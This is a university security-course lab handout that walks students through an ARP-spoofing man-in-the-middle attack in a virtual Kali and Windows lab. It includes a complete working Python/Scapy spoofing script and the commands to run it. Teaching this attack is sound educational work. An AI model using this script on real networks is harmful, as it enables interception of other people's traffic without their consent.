TAMPERE UNIVERSITY – DEPARTMENT OF COMPUTING SCIENCES

Security Protocols: Helping Alice and Bob to Share Secrets (COMP.SEC.220)

Tutorial 5: Typical Attacks - Man-in-the-Middle

Antonis Michalas
antonios.michalas@tuni.fi

Mindaugas Budzys
mindaugas.budzys@tuni.fi

Hossein Abdinasibfar
hossein.abdinasibfar@tuni.fi

August 19, 2024

SUBMISSION DEADLINE: 07.10.2024 AT 23:00

Tutorial Description

In this lab, students will be introduced to a more technical and practical aspect of security protocols. The purpose of this lab is to introduce students to the Man-in-the-Middle network attack, in particular Address Resolution Protocol (ARP) spoofing. Using ARP spoofing, you are able to replace the mac address of a router or a client computer with the mac address of an attacker resulting in all packets going to the attacker "Eve".

Unlike the previous lab tutorials, this lab session will be a step-by-step guide to performing a simple man-in-the-middle attack using *python* and a packet manipulation tool called *Scapy*. For this lab session, you will be using a virtual machine client such as VMWare or Oracle CM virtual box with Kali Linux and Windows 10/8/7 virtual machines installed. We will be using a simple ARP Spoofing technique to implement this attack.

Let's consider a scenario where Alice is the Windows VM, Bob is the internet router and Eve is the attacker (i.e., the Kali VM). In this ARP Spoofing attack, we will be replacing Bob's mac address with Eve's mac address in Alice's ARP table. By doing so, all packets sent to Bob by Alice will be delivered to Eve without Alice ever finding out. Eve becomes the Man-in-the-Middle.

TASK 1 – SETTING UP YOUR VIRTUAL MACHINES

Once you have both virtual machines up and running, you must follow the following steps to set up your test network.

1. Connect both virtual machines to the same NAT network. To do this, go to your virtual machine settings and edit the network settings. Make sure the network settings for both machines is set to **NAT**.

2. Check and note the IP and MAC addresses of both virtual machines and your gateway/router. Take a screenshot of both and add it to your submission for this tutorial.

3. Download and install the **scapy** module on the Kali VM. (remember to use *pip3* and **sudo** to access root privileges)

```
sudo apt install python3
sudo apt install python3-pip
sudo pip3 install scapy
```

Task 2 – Setting up the MitM Attack

Let's get to the interesting part of this tutorial and write the script to perform our attack.

1. Import the necessary modules for your python script

```
    import scapy.all as scapy     # to create ARP packets
    import time                   # to create a timed gap between sending packets
    import sys                    # to enable dynamic printing
    import argparse
```

2. Create the necessary ARP methods using the scapy module and accessing the MAC addresses

```
def getMac(IP):
     request = scapy.ARP(pdst=IP)
     br = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
     arp_request = br / request
     list_1 = scapy.srp(arp_request, timeout=3, verbose=False)[0]
     print("list_1", list_1)
     return list_1[0][1].hwsrc

def spoofer(targetIP, spoofIP):
     targetMAC = getMac(targetIP)
     packet=scapy.ARP(op=2,pdst=targetIP,hwdst=targetMAC,psrc=spoofIP)
     scapy.send(packet, verbose=False)

def restore(destinationIP, sourceIP):
     destinationMAC = getMac(destinationIP)
     sourceMAC = getMac(sourceIP)
     packet = scapy.ARP(op=2,pdst=destinationIP,hwdst=destinationMAC,
     psrc=sourceIP,hwsrc=sourceMAC)
     scapy.send(packet, count=4,verbose=False)
```

The *spoofer* method creates an ARP packet which informs the destination IP that the gateway IP address has a specific MAC address. In this case, we will first tell the Alice (windowsVM) that Eve (KaliVM) is the gateway or router, and then tell Bob (gateway or router) that Eve is actually Alice. The *getMac* method returns the MAC address of a particular IP address while the *restore* method returns everything to its original state.

3. Finishing the MitM script

```
targetIP = input("[*] Enter Target IP (Alice) > ")
gatewayIP = input("[*] Enter Gateway IP (Bob) > ")

packets = 0

try:
     while True:
        spoofer(targetIP,gatewayIP)
        spoofer(gatewayIP,targetIP)
        print("\r[+] No of Sent packets "+ str(packets)),
        sys.stdout.flush()
        packets +=2
        time.sleep(2)

except KeyboardInterrupt:
    print("\nSpoofing Interrrupted CTRL + C------------ Returning to normal state..")
    restore(targetIP,gatewayIP)
    restore(gatewayIP,targetIP)
```

```
targetIP = windowsVM address (Alice)
gatewayIP = windowsVM address (Bob)
sourceIP = KaliVM address (Eve)
```

Task 3 – Testing the Attack

For this task, we will be testing out the script we have written to show how the attack works. To do so;

1. Verify the actual MAC address of the gateway or router. In the windowsVM, open command prompt and type

   ```
   arp -a
   ```

   Add a screenshot of the results to the final submission.

2. Now run the python script from task 2 with the correct values of each IP address. To do so, open a terminal in the KaliVM and type, do not forget to change the access level by using **sudo** to get the privileges.

   ```
   sudo su
   python3 script.py
   ```

   If there are no errors, you should see a screen display the number of sent packets.

3. Verify the new MAC address of the gateway or router as you did previously. What is the new MAC address?